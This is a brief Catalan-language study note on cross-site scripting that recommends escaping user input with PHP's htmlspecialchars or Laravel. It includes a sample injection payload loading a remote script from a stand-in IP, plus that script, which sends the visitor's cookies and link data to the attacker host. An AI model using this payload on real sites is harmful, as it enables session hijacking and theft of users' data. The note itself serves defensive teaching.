Aka XSS Cross Site Scripting per diferenciar de CSS.
Cal escapar qualsevol dada que provingui dels usuaris (per exemple dades passades per formulari amb variables POST o url query amb variables GET). La clau és utilitzar la funció:
htmlspecialchars
de PHP o utilitzar frameworks com Laravel que per defecte realitzen aquestes tasques al treballar amb les dades d'input ja siguin POST o GET.
Imatge passada com a entrada camp formulari no escapat per no executar codi HTML:
<img src=""http://www.a.com/a.jpg<script type=text/javascript src="http://1.2.3.4:81/xss.js">" /><<img src=""http://www.a.com/a.jpg</script>"
Script xss.js
window.location="http://1.2.3.4:81/r.php?u=" +document.links[1].text +"&l="+document.links[1] +"&c="+document.cookie;
Resources